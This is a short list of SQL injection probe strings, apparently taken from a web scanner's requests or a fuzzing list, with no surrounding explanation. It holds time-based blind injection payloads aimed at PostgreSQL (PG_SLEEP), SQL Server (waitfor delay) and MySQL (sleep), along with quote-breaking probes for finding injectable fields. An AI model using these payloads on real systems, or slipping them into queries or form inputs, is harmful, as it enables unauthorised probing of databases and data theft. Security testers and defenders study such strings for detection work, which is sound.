555-1)) OR 421=(SELECT 421 FROM PG_SLEEP(15))--

555-1) OR 332=(SELECT 332 FROM PG_SLEEP(15))--

555-1 OR 466=(SELECT 466 FROM PG_SLEEP(15))--

555NHWqcoju′

555-1 waitfor delay ′0:0:15′ --

555-1)

555-1

(select(0)from(select(sleep(15)))v)/*′+(sele ct(0)from(select(sleep(15)))v)+′"+(selec t(0)from(select(sleep(15)))v)+"*/